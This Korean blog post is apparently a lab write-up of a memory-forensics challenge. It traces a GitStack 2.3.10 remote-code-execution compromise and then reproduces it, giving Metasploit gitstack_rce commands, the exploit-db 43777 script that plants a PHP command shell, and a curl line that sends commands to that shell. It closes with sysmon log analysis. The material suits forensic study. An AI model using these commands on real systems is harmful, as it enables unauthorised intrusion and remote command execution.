메모리 포렌식 Challenge 7 gitstack 취약점 분석

악성코드 및 포렌식|2021. 1. 27. 15:24

 

 

 

 

vol.exe -f 7.raw imageinfo 

먼저 뒤에옵션을 붙여야하는지 알아보자

window7 이니까 붙여야합니다

 

 

 

 

 

vol.exe -f 7.raw --profile=Win7SP1x86 pstree

 

 

mimikatz.exe 는 당연한 크랙이므로 아니까 추출할필요까지는없다

 

 

 

 

 

프로세스 기초 분석

- pstree에서 explore-httpd-cmd-openssl 이 의심된다.

 

openssl 은 암호화 통신을 위한 것인데

지금은 사용하면안되고 tls를 사용해야합니다,

openssl은 별도로 사용금지된지가 꽤 됬습니다.

 

근데별도로 커맨드창을 띄워서 openssl을 실행했습니다.

그래서 의심이가고

 

 

암호화 통신을 위장한 악성코드라고 추측을 해볼수가있습니다

 

 

 

vol.exe -f 7.raw --profile=Win7SP1x86 userassist > 7777.txt

 

openssl을 찾아보니까 사용자가 실행했던 결과는 없었고

 

 

 

strings.exe 7.raw > 123123.txt

 

문자열들을 전부 txt파일로 끄집어 냅니다

 

sublinetxt에서 열어보고

 

openssl을 찾아보게되면 파워 쉘도 실행했고

 

 

 

openssl.exe 분석

- 이미지를 txt로 변환 후 openssl.exe를 검색하면 gitstack 에서 실행되는 것으로 보아,

gitstack과 관련된 취약점이 있는것으로 추측 가능

- gitstack을 검색하면 2.3.10 버전에 원격코드 취약점이 있는것을 확인

 

 

.mimikatz.exe 악성 크랙도

찾아보게되면

 

gitstack에서 실행이된다는 것을 알 수가 있습니다.

 

 

gitstack 으로 여러가지가 실행되고

 

 

gitstack 버전은 2.3이였고

 

 

cve-2018-5955 번호의 취약점 번호를 가진

원격 취약점이 있었습니다.

 

 

 

 

 

 

 

 

 

 

 

 

 

===============================

 

gistack 취약점이용해 meterpreter권한 얻기

 

 

 

 

 

 

설치를 한뒤에

 

 

 

 

 

 gitstack 취약점 재현

- 윈도우7 gitstack 2.3.10 설치 후 관리자 로그인

 

 

 

 

칼리리눅스에서

 

msfconsole

 

search gitstack

use exploit/windows/http/gitstack_rce

 

show options

set RHOSTS 192.168.1.66 (윈도우7 IP)

 

exploit

 

meterpreter 권한 획득에 성공햇습니다.

 

 

 

 

ifconfig를 쳤을때 윈도우7ip가 잘나오게 됬고

 

 

 

===============================

python 코드를 이용한 공격

 

www.exploit-db.com/

 

Offensive Security’s Exploit Database Archive

 

www.exploit-db.com

www.exploit-db.com/exploits/43777

 

GitStack 2.3.10 - Remote Code Execution

GitStack 2.3.10 - Remote Code Execution EDB-ID: 43777 CVE: N/A Date: 2018-01-18

www.exploit-db.com

exploit 코드를 다운받고 ip를 윈도우로 바꿔줍니다

 

 

 

 

 

 

이파일을 윈도우 ip로 바꿔준뒤

 

칼리리눅스로 가져간다.

참고로 python2.7이 있어야한다.

 

 

 

이것의 command 를 ifconfig로 바꾸게되면

 

ifconfig쳣을때의 명령어들이나오고

 

dir을 넣어서 실행을해봅니다

 

오류났을떄

(python -m pip install requests)

 

 

 

 

 

 

 

 

python 43777.py 

 

파이썬을 이용해 이파일을 실행시키니

 

결과물이나왓습니다.

 

 

 

 

- exploitdb에서 gitstack 관련 공격 코드(php)를 칼리리눅스에 다운로드, IP변경 후 실행

python 43777.py(requests 오류시 : pip2 install requests 

                                      (python -m pip install requests) )

 

 

 

 

 

 

 

 

- 파이썬 코드를 실행하면 윈도우7 서버의 gitphp 폴더에 exploit.php 가 생긴다.

a 변수에 시스템 명령어를 받아서 그대로 실행시키는 파일이다.

- 파이썬 코드에서 whoami를 다른 명령어(dir, ipconfig )으로 바꿔서 재실행 하거나,

curl -d 'a=dir' -X POST http://192.168.55.64/web/exploit.php

원격으로 시스템 명령을 수행할 수 있다.

 

 

 

 

 

 

 

 

docs.microsoft.com/en-us/sysinternals/downloads/sysmon

 

Sysmon - Windows Sysinternals

Monitors and reports key system activity via the Windows event log.

docs.microsoft.com

이곳에서 sysmon을 다운받고

 

 

윈도우+r

eventvwr.msc

 

 

 

자이제 침해사고를 당한 곳에서 진행을 해야합니다.

내가공격한 (window7에서)

 

 

 

sysmonoperational.evtx

 

windows->system32 ->winvet ->logs

 

 

sysmon.exe -i -l -n -accepteula

 

sysmon 분석

- sysmon은 시스템 이벤트 로그를 기록하는 프로세스로, 로그는 evtx 확장자에 저장된다.

따라서 sysmonoperational.evtx 을 추출하여 이벤트 뷰어로 연다.

- 로그를 보면 파이썬 코드를 통해 시스템 명령어를 수행한 기록을 확인

 

 

 

sysmon 분석 - powershell로 실행한 코드 복호화

- 이벤트 로그에 보면 powershell로 실행한 코드가 base64로 인코딩 되어 있다.(aQBm~)

- aQBm -> base64 decoding -> GzipStream, Frombase64String 확인 가능

- 따라서 Frombase64String("") 함수의 문자열을 다시 base64로 디코딩 하면서,

출력형태를 hex형태로 출력한다. 왜냐하면 .gz는 실행파일 이므로, hex형태로

저장되기 때문임(base64.guru/converter/decode/hex)

- 출력결과를 hxd를 이용하여 gz확장자로 저장(시그니처 : 1F 8B 08)

- gz 파일의 압축을 해제하면 다시 base64로 인코딩된 코드가 나온다. 이 부분을

다시 hex 출력형태로 decoding 하고 hxd를 이용하여 저장

- virustotal에 업로드 하면 powershell에서 사용하는 코드임을 확인

 

댓글()